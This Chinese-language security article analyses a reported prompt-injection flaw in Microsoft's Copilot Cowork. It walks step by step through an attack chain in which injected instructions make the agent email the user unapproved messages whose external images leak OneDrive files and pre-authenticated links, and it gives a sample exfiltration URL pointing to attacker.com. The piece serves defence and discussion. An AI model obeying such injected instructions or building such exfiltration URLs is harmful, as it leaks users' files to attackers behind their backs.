微软Copilot Cowork数据泄露漏洞：AI代理如何被提示注入攻击利用

事件概述

微软最新推出的AI协作产品Copilot Cowork被曝出严重的数据泄露漏洞。安全研究机构Prompt Armor发现，攻击者能够通过提示注入（Prompt Injection）技术，借助AI代理的邮件发送权限和外部图片渲染机制，在用户完全不知情的情况下窃取OneDrive中的文件。

提示注入是一种专门针对大型语言模型（LLM）的攻击技术，攻击者通过在模型处理的输入数据中嵌入恶意指令，诱使AI系统执行超出预期范围的操作。这类攻击分为两种主要形式：直接提示注入（攻击者直接向AI输入恶意指令）和间接提示注入（恶意指令隐藏在AI会处理的外部内容中，如网页、文档或邮件）。间接提示注入尤为危险，因为用户本身并未做任何异常操作，攻击完全在AI的"视野"中悄然发生。自2023年以来，随着AI代理系统被赋予越来越多的工具调用权限（如发邮件、读写文件、执行代码），提示注入的危害已从"让AI说错话"升级为"让AI做坏事"，成为AI安全领域最受关注的攻击向量之一。

这一漏洞再次暴露了AI代理系统在安全设计上的核心难题：如何在赋予AI自主行动能力的同时，防止其沦为攻击者的数据泄露通道。

漏洞攻击链详细分析

理解这一漏洞，首先需要认识AI代理与传统AI助手的根本区别。传统对话式AI助手仅负责生成文本回复，其输出不会直接触发现实世界的操作。而AI代理系统被赋予了调用外部工具的能力——发送邮件、读写文件、执行API调用、浏览网页——这使其从"顾问"变成了"执行者"。这一转变在安全层面意味着质的飞跃：攻击者不再需要欺骗用户点击恶意链接，只需在AI代理会处理的任意数据源中植入恶意指令，即可借助代理的合法权限完成攻击。微软的AutoGen、OpenAI的Assistants API、Anthropic的Claude工具调用等主流AI代理框架均面临这一根本性挑战。

第一步：绕过审批机制的邮件发送

Copilot Cowork允许AI代理向用户自己的收件箱发送邮件，而且这一操作无需用户审批。乍看之下这是个合理的设计——发给用户自己的邮件，为什么还需要额外确认？但恰恰是这个看似"合理"的设计假设，为整条攻击链打开了突破口。

第二步：外部图片渲染实现数据外泄

问题的关键在于，AI代理发送的邮件在显示时可以包含外部图片。当用户打开一封被攻击者操控的消息时，邮件客户端会自动向外部服务器发起网络请求来加载图片。

利用外部图片URL进行数据外泄是一种历史悠久的Web安全攻击手法，在AI代理场景下被赋予了新的威力。其核心原理是：HTTP GET请求在加载图片时会将完整URL（包括查询参数）发送至目标服务器，攻击者只需控制图片所在的服务器，即可从服务器日志中提取URL里编码的敏感数据。例如，一个形如 https://attacker.com/pixel.png?data=BASE64_ENCODED_FILE_CONTENT 的图片URL，在用户打开邮件的瞬间就完成了数据传输，全程无需任何用户交互。这种手法之所以难以防御，在于图片加载是邮件客户端的"正常行为"，许多安全工具不会对其进行深度检查。

攻击者只需将敏感数据编码在图片URL中，就能悄无声息地完成数据窃取。正如Prompt Armor在报告中所指出的：

因为这些消息可以包含触发外部网站网络请求的外部图片，当用户打开由代理发送的被攻陷消息时，数据就会被泄露。

第三步：OneDrive预认证链接放大攻击危害

更严重的是，OneDrive具备创建预认证下载链接的功能。OneDrive的预认证下载链接（Pre-authenticated Download Link）本质上是一种包含临时访问令牌的URL，持有该链接的任何人无需登录微软账户即可在有效期内直接下载对应文件。这一机制在合法场景下极为便利，例如向外部合作伙伴分享文件时无需对方拥有微软账号。然而，预认证链接的危险在于其自包含性——链接本身即是凭证，无需任何额外的会话状态或Cookie，这使得传统的访问控制审计手段难以有效拦截。

一旦提示注入攻击得手，AI代理可能会生成这些预认证链接并嵌入到泄露通道中。攻击者拿到这些链接后，无需任何额外认证就能直接下载用户的文件，大幅放大了漏洞的实际危害。

AI代理安全的"致命三角"问题

这个漏洞完美呈现了AI代理安全领域中所谓的"致命三角"（Lethal Trifecta）：

1. 数据访问权限：AI代理能够访问用户的敏感数据（如OneDrive文件）
2. 外部输入通道：AI代理可能接收到被攻击者操控的输入（提示注入）
3. 外部输出通道：AI代理具备将数据发送到外部的能力（邮件中的外部图片请求）

当这三个条件同时满足时，数据泄露几乎无法避免。这并非微软独有的问题，而是所有具备自主行动能力的AI代理系统都必须面对的根本性安全挑战。

行业启示与防御策略

产品设计层面的反思

当前AI代理系统的设计思路普遍倾向于最大化便利性——尽量减少用户确认步骤、扩大代理自主权限。然而每一个"无需审批"的操作都可能成为新的攻击面。安全团队有必要重新审视，哪些操作真正可以免除人工确认，哪些必须保留审批环节。

关键技术防御措施

• 内容安全策略（CSP）：CSP是一种由服务器下发的HTTP响应头机制，可精确声明页面或邮件内容允许加载资源的来源白名单。严格配置CSP能够从根本上阻断AI生成内容向未授权外部域名发起图片请求，切断数据外泄的网络通道。
• 输出过滤机制：实时检测并拦截AI代理输出中包含的预认证链接或可疑URL，防止敏感凭证被嵌入外发内容。
• 最小权限原则：将AI代理的文件访问和通信权限严格限定在必要范围内，遵循"需要才授权